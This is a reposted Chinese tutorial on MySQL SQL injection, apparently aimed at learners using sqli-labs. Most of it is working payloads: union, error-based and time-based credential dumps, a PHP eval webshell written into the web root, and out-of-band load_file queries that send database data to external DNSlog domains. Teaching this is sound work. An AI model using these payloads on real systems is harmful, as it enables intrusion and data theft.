• 当前位置: 首 页 > 教育百科 > 学历/技能 > 正文

    SQL注入分类

    :2025年05月14日
    一个努力的学渣

    SQL注入是一种常见的攻击方式,需要了解一些前置知识。识别存在注入的方法包括判断是否存在注入、判断列数、判断回显点、查询当前数据库名、查询表名、查询列名。在MySQL中,可以使用`id=1awsfas`直接进...

    本篇文章只是起个引头的左右,当然篇幅也比较长,忘大家能耐心看完,至于更复杂的操作,大家可以根据这个基础去做更深层次的研究

    首先,了解SQL注入分类之前需要先了解一些前置知识,当然基础知识必不可少,可参考上篇文章

    靶场:https://github.com/Audi-1/sqli-labs

    或者不想开靶场,可以使用Fofa搜索在线MySQL靶场

    Fofa搜索:"SQLi-Labs"

    SQL注入分类前置知识之基础语句

    1.判断是否存在注入:

    id=1 and 1=1 --+ #页面正常

    id=1 and 1=2 --+ #页面异常,存在注入(或者使用id=1awsfas来直接进行判断)

    2.判断列数:

    id=1 order by 4 --+ #页面正常时,数字为几,就代表存在几列

    3.判断回显点:

    id=-1 union select 1,2,3,4 --+ #哪个数字显示出来就代表回显点是几

    4.查询当前数据库名:

    id=-1 union select 1,database(),3,4 --+

    5.查询表名:

    id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+

    6.查询列名:

    id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' --+

    7.获取数据:

    id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member --+

    8.解密得到的密码

    本篇文章不会把所有的注入类型所有的操作步骤都写一遍,基础语法放在最前面,先了解基础语句,再进行下一步,最起码能看懂,知道怎么套用语句

    SQL注入分类前置知识之数据类型

    • 注入前,需要知道是否存在符号干扰:有无单引号或双引号及通配符等

    • 如果不知道属于哪种数据类型,那后续工作无法进行,一切都白搭,当然这个是需要进行测试的

    • 数字:select * from news where id=$id;

    • 字符:select * from news where name='$name';

    • 搜索:select * from news where name like '%name%';

    SQL注入分类前置知识之数据格式

    没有规矩,不成方圆

    数据格式就相当于一个规矩,你得按照人家的数据格式来,否则数据如何传输?

    当然,数据格式肯定不止以下几种,需要观察是否为已知的格式

    如果是未知的,可能需要审计JS代码,或者多观察数据包,找到所谓的格式

    XML

    • 数据传输采用XML格式传递



    JSON

    • 数据传输采用JSON格式传递



    编码

    • 数据传输采用编码或加密形式传递

    • 编码:如加密

    • 加密形式:如JS逆向







    混合

    • 数据传递采用JSON和编码传递



    SQL注入分类前置知识之HTTP头部注入

    需要注意:SQL注入的前提--与数据库进行交互(本质就是观察数据包,看看哪个部分可能与数据库进行交互)

    HTTP头部注入:需要了解业务应用功能,之后才可以确定使用哪种HTTP头部注入方式

    其实HTTP注入也可以归为SQL注入分类,只不过所有的SQL注入分类都是在HTTP头部注入上进行注入的

    UA(User-Agent)

    可能出现的场景:

    • 对UA设备指定显示方案

    • 对UA设备进行信息记录

    • insert注入

    简单的说:就是UA与数据库进行交互,需要UA这个数据(如果只是判断UA而不写入数据库,那不存在UA注入)





    XFF(X-Forwarded-For)

    可能出现的场景:

    • 限制IP访问功能

    • 记录IP访问日志

    • insert注入





    Cookie

    可能出现的场景:开发人员编写一个根据用户 ID(存储在Cookie中)来查询信息的功能





    user_id如何发现?

    • Fuzz:几率很低

    • 注册用户,观察Cookie

    • Findsomething

    为什么要加and 1=2?

    • 为了报错,如果不加,没有结果



    Referer

    可能出现的场景:网站期望登录请求来自于本站页面,如果Referer是其他来源,则拒绝登录。





    SQL注入分类前置知识之增删改查注入

    • 查询:

    • union注入

    • 原因:

    • 代码会把数据显示出来(有回显)

    • 语句组成也会造成此原因

    • 新增、修改、删除:

    • 报错注入

    • 原因:代码只会把结果显示出来,不会显示数据(无回显)

    • 语句组成也会造成此原因,比如union不能和insert放在一起,union是两条语句一起执行

    所谓的SQL注入分类,其实也是在增删改查的基础上去实现的,所以归类为前置知识

    新增







    这里其实and和or都可以使用,但是建议使用or,因为只需要满足一个条件为真就可以了,而使用and需要满足两个条件都为真





    修改









    删除



    之后点击删除按钮



    查询











    基础知识已完毕,接下来正式开始SQL注入分类

    SQL注入之盲注

    盲注就是在注入过程中,获取的数据不能回显至前端页面。

    我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    解决:常规的联合查询注入不行的情况

    盲注分类:布尔、报错、延迟

    布尔注入

    基于布尔注入的前提:有结果输出,根据结果输出内容不同来判断条件是否成立

    下面函数只是大概举例,用法其实很多,各种函数都可以进行尝试搭配使用

    • regexp

    • SELECT DATABASE() REGEXP '^i' #匹配第一位是否为i,如果为i返回1,否则返回0

    • SELECT DATABASE() REGEXP '^[a-z]' #判断第一位是否为字母



    • like

    • SELECT DATABASE() like 'inf%' #判断数据库是否为inf...



    • ascii

    • SELECT ASCII(SUBSTR(database(),1,1))<115 #判断数据库第一位字符的ASCII



    • left

    • left(a,b)从左侧截取a的前b位

    • select left(database(),1)='i'; #判断第一位是否为i

    • select left(database(),2)='in'; #判断前两位是否为in



    • ord

    • select ord(left(database(),1))<112; #判断第一位的ASCII是否小于112,根据 ASCII码判断数据库



    • mid

    • mid(a,b,c)#从位置b开始,截取a字符串的c位

    • select MID(database(),1,1)='i' #判断第一位是否为i



    • substr

    • substr(a,b,c)#从位置b开始,截取字符串a的c长度

    • select SUBSTR((database()),1,1)='i' #判断第一位是否为i



    • length

    • select length(database())=18 #判断数据库长度



    报错注入

    基于报错注入的前提:页面报错

    下面语句中标红的部分为SQL语句,可自己自定义修改

    • floor报错注入:

    • select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a



    • select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables limit 1),0x7e)x from information_schema.character_sets group by x)a



    • ExtractValue报错注入:

    • and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));



    • UpdateXml报错注入:

    • select updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 1)),1)



    • 爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

    • 链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

    • 链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

    • 爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

    • 爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

    • 爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

    • 爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

    • NAME_CONST报错注入:

    • select exists(select * from (select * from(select name_const(version(),0)) a join (select name_const(version(),0)) b)c)

    • 但好像只能查出来版本,网上也没其他相关资料,查资料说是不支持动态函数,或者得具体修改语句



    • join报错注入:

    • 前提:在知到表名的前提下才能操作

    • select * from (select * from user as a join user as b) as c;



    • select * from (select * from user as a join user as b using(HOst)) as c;



    • exp报错注入:

    • 前提条件:

    • 适用 MySQL 5.5.44 ~ 5.5.47 版本(也不一定,可能5.5.0版本都可以,需要尝试),更高版本(如 5.6+)可能无法返回查询结果

    • 目标数据库需支持 EXP 函数且未禁用错误信息回显

    • select (exp(~(SELECT * FROM(SELECT version() )a)))



    • select (exp(~(SELECT * FROM(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1 )a)))



    • GeometryCollection()报错注入:

    • select GeometryCollection((select * from (select * from(select version())a)b))



    • select GeometryCollection((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



    • polygon()报错注入:

    • 适用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效

    • 限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修复了此类漏洞,导致 polygon() 报错注入失效

    • select polygon((select * from (select * from(select version())a)b))



    • select polygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



    • multipoint()报错注入:

    • 适用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效。

    • 限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修复了此类漏洞,导致 multipoint() 报错注入失效

    • SELECT multipoint((select * from (select * from(select version())a)b))



    • SELECT multipoint((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=DATABASE())a)b))





    • multlinestring()报错注入:

    • 有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。

    • 高版本修复:MySQL 5.7+ 修复了此漏洞,无法通过 multlinestring() 触发报错

    • SELECT multilinestring((select * from (select * from(select version())a)b))



    • SELECT multilinestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



    • multpolygon()报错注入:

    • 有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。

    • 高版本修复:MySQL 5.7+ 修复了此漏洞,multipolygon() 报错注入失效

    • select multipolygon((select * from (select * from(select version())a)b))



    • select multipolygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



    • linestring()报错注入:

    • 有效版本:5.1.5 ~ 5.5.49(部分 5.6.x 可能仍有效)。

    • 高版本限制:MySQL 5.7+ 修复了此类漏洞,linestring() 报错注入失效

    • select linestring((select * from (select * from(select version())a)b))



    • select linestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



    案例无关紧要,知道方法后可自己搭建靶场进行测试

    演示案例--xhcms_v1.0

    注意:PHP7.0版本可能无法安装

    漏洞文件:files/submit.php







    直接访问会报错,因为是MVC框架





    文件名:files/submit.php

    访问:r=submit



    出现新的问题:昵称不能为空



    两种解决办法:

    1.条件一个一个去手工满足

    2.看看项目中有哪些文件调用了submit这个文件

    因为是MVC模型,搜索:r=submit





    之后构造URL:http://192.168.137.101:91/?r=contact



    那应该使用什么注入呢?请看代码



    SQL语句是单引号过滤

    昵称、邮箱、网址均可进行注入:

    ' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '





    延迟注入

    • sleep

    • sleep(5) #SQL语句延时执行5秒

    • if

    • if(条件,5,0)#条件成立 返回5 反之 返回0

    • select if((version())>5.0,sleep(4),2);



    • select if(SUBSTR((select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1),1,1)='c',sleep(5),0)



    案例无关紧要,知道方法后可自己搭建靶场进行测试

    演示案例--kkcms

    漏洞位置:admin/model/usergroup.php





    这里使用延迟注入的原因:无报错函数(报错注入),数据没有输出(布尔注入)

    此CMS直接访问路径无法访问,也是基于路由访问

    访问后台:http://192.168.137.101:92/admin/cms_login.php



    漏洞位置:admin/model/usergroup.php

    如何访问? admin/cms_usergroup.php



    之后构造payload:or if(1=1,sleep(3),0)



    延时了3秒

    Burp中,需要把空格替换为%20,如果不替换,Burp会认为空格之后是第二行

    and if(length(database()))=5,sleep(3),0)



    数据库长度为5

    and if(ord((substr(database(),1,1)))=107,sleep(3),0)



    数据库第一位ACCII码为107



    and if(ord((substr(database(),2,1)))=107,sleep(3),0)



    数据库第二位ACCII码为107

    ASCII位数:127位,之后可以利用Burp的Intruder模块批量跑数据











    延时注入不能使用Intruder,结果中不显示时间

    SQL注入之跨库注入

    基础知识--权限



    root用户和普通用户的区别:

    • root用户可以看到并操作所有数据库,普通用户只能看到并操作系统自带的数据库和自己的数据库

    • 造成的影响:root用户可以获取其他网站上的数据库,普通用户不行(一个数据库里面可以有多个库,每个库都可以算作一个网站)

    • 那如何知道其他库的地址?

    • 数据库配置(表里面可能有)

    • 旁站

    • 同网站不同IP



    注入

    跨库注入的前提:配置文件中是root用户,不是普通用户



    查数据库名:' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#



    如果只有一个地方能返回数据怎么办?使用group_concat()函数:' union select GROUP_CONCAT(SCHEMA_name),2,3 from information_schema.SCHEMATA#



    但有个缺点:如果数据库较多,可能显示不全

    如果想要美观,可使用:

    ' union select GROUP_CONCAT(SCHEMA_name SEPARATOR ' <br/>'),2,3 from information_schema.SCHEMATA#



    查表名:

    普通版本:'union select table_name,2,3 from information_schema.tables where table_schema='xhcms'#

    升级版本:'union select GROUP_CONCAT(table_name SEPARATOR ' <br/>'),2,3 from information_schema.tables where table_schema='xhcms'#



    查列名:

    普通版本:' union select column_name,2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#

    升级版本:' union select GROUP_CONCAT(column_name SEPARATOR ' <br/>'),2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#



    查数据:

    普通版本:'union select user,2,3 from xhcms.manage#

    升级版本:'union select GROUP_CONCAT(user,':',password SEPARATOR ' <br/>'),2,3 from xhcms.manage#



    SQL注入之文件读写操作

    基础知识

    • 文件读写操作:root用户可以进行文件读写操作,普通用户不行

    • 读写操作的前提:需要配置secure_file_priv开关

    • secure_file_priv:MySQL中的系统变量,用于限制文件的读取和写入

    • 查看是否有读写操作权限:show variables like"secure%"

    • 读:SELECT load_file('e:\\1.txt')

    • 写:select '123' into outfile 'e:\\2.txt'

    • Windows:my.ini配置文件中配置

    • Linux:my.cnf配置文件中配置











    如果限制了目录,如何绕过?









    绕过条件:存在可执行的SQL地方

    • 从后台的sql命令执行功能点(有的后台可以执行SQL命令):注入获取得到这个网站的后台账号密码

    • 从phpmyadmin命令执行功能点:注入获取到数据库的用户名和密码

    • root密码:存储在mysql数据库下user表

    • 低版本:user,password

    • 高版本:user,authentication_string

    • 版本中间值:5.4,或者两个都试下,只要出来数据就行

    查看是否限制目录:show variables like"secure%"



    启用慢查询日志(默认禁用):my.ini中配置:slow_query_log=1



    show variables like'general_log';



    set global general_log=on;









    set global general_log_file='C:/phpstudy_pro/WWW/php1/bypass.php';

    网站路径如何得知?

    • 遗留文件:如phpinfo();页面

    • 报错显示:可能会显示完整路径

    • 读中间件配置:如果中间件默认路径没有修改的话

    • 爆破fuzz路径



    之后执行语句:select '<?php @eval($_POST[x]);?>'







    注入

    'union select LOAD_FILE('e:\\1.txt'),2,3#



    ' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#

    写一句话木马:' union select '<?php @eval($_POST["xxx"])?>',2,3 into dumpfile 'C:\\phpstudy_pro\\WWW\\php1\\xx.php'#

    写文件只能使用完整路径





    关于网站路径获取方法:

    1、遗留文件:如phpinfo();页面



    2、报错显示:可能会显示完整路径

    3、读中间件配置:如果中间件默认路径没有修改的话



    4、爆破fuzz路径

    SQL注入之带外注入

    无回显时使用带外注入



    使用yakit生成域名



    可能出现的问题:语句明明正确,为什么DNSlog收不到数据?

    解决办法:重新生成一个域名,可能是域名堵塞的原因

    查数据名:'union select load_file(concat('\\\\',(select database()),'.hvuoczxssn.zaza.eu.org\\aa')),2,3#



    查表名1:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".myygrhvzab.iyhc.eu.org\\xxx.txt")),2,3#



    查表名2:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,1 ),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#



    查列名1:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 0,1),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#



    查列名2:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



    查数据1的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



    查数据1的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



    查数据2的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



    查数据2的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 1,1),".bidfguhork.dgrh3.cn\\xxx.txt")),2,3#



    SQL注入之堆叠注入

    • 原理:通过结束符(分号)同时执行多条sql语句

    • 支持堆叠数据库:

    • MYSQL

    • MSSQL

    • Postgresql

    • 目标如何才能存在堆叠注入:(触发的条件很苛刻)

    • 目标存在sql注入漏洞

    • 目标未对";"号进行过滤

    • 目标中间层查询数据库信息时可同时执行多条sql语句(使用函数不当)

    • 存在类似mysqli_multi_query()函数,支持多条SQL一起执行

    • 与之对应的是mysqli_query()函数,只能执行一条SQL







    SQL注入之二次注入



    • 原理:注册(写入payload)-->登录后修改-->修改时以当前用户名为条件触发

    • 黑盒思路:功能点有添加操作,之后可以对添加的内容进行修改

    • 白盒思路:insert后进入select或update的功能的代码块

    • 注入条件:插入时有转义函数或配置,后续有利用插入的数据

    正常逻辑:







    二次注入逻辑:













    正常修改密码:UPDATE users SET password = '123' WHERE username = 'xxx';

    二次注入修改密码:UPDATE users SET password = '123' WHERE username = '' or 1=1#';

    原文来源:https://mp.weixin.qq.com/s/-874oe4IGCZAPxXL2b4Rlw

    [编辑:宋聪乔 &发表于江苏]
    [我要纠错]

    来源:本文内容搜集或转自各大网络平台,并已注明来源、出处,如果转载侵犯您的版权或非授权发布,请联系小编,我们会及时审核处理。
    声明:江苏教育黄页对文中观点保持中立,对所包含内容的准确性、可靠性或者完整性不提供任何明示或暗示的保证,不对文章观点负责,仅作分享之用,文章版权及插图属于原作者。

    关键词: 本篇 文章 只是 左右 当然
    有价值
    0
    无价值
    0
    猜您喜欢
    最热文章

    暂不支持手机端,请登录电脑端访问

    正在加载验证码......

    请先完成验证